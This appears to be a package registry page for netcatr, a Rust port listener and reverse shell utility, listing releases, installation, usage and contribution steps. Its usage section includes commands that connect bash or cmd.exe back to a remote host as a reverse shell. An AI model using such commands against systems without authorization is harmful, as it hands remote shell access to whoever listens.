3 releases
0.1.2 | Oct 31, 2024 |
---|---|
0.1.1 | Oct 31, 2024 |
0.1.0 | Oct 26, 2024 |
#1035 in Command line utilities
392 downloads per month
16KB
354 lines
📡 netcatr
_ _
_ __ ___ | |_ ___ __ _ | |_ _ __
| '_ \ / _ \| __| / __| / _` || __|| '__|
| | | || __/| |_ | (__ | (_| || |_ | |
|_| |_| \___| \__| \___| \__,_| \__||_|
📡 netcatr: A cross-platform port listener and reverse shell application designed for ease of use, providing seamless network connectivity.
✨ Features
- Command history & Tab completion (Interactive mode);
- CTRL-C blocking;
- Colors;
- Everything easy;
Modes
- Listen mode (listen);
- Reverse shell mode (connect);
🚀 Installation
To install netcatr, simply clone the repository and follow the instructions below:
git clone git@github.com:trinhminhtriet/netcatr.git
cd netcatr
cargo build --release
cp ./target/release/netcatr /usr/local/bin/
Running the below command will globally install the netcatr
binary.
cargo install netcatr
💡 Usage
The most basic and useful example to start listening on a port would be (you can even run vim inside netcatr with this):
netcatr listen -ib 55600
and to connect:
netcatr connect -s bash the.0.0.ip 55600
Reverse shell from Windows:
netcatr connect -s cmd.exe the.0.0.ip 55600
🗑️ Uninstallation
Running the below command will globally uninstall the netcatr
binary.
cargo uninstall netcatr
Remove the project repo
rm -rf /path/to/git/clone/netcatr
🤝 How to contribute
We welcome contributions!
- Fork this repository;
- Create a branch with your feature:
git checkout -b my-feature
; - Commit your changes:
git commit -m "feat: my new feature"
; - Push to your branch:
git push origin my-feature
.
Once your pull request has been merged, you can delete your branch.
📝 License
This project is licensed under the MIT License - see the LICENSE file for details.
Dependencies
~5–16MB
~156K SLoC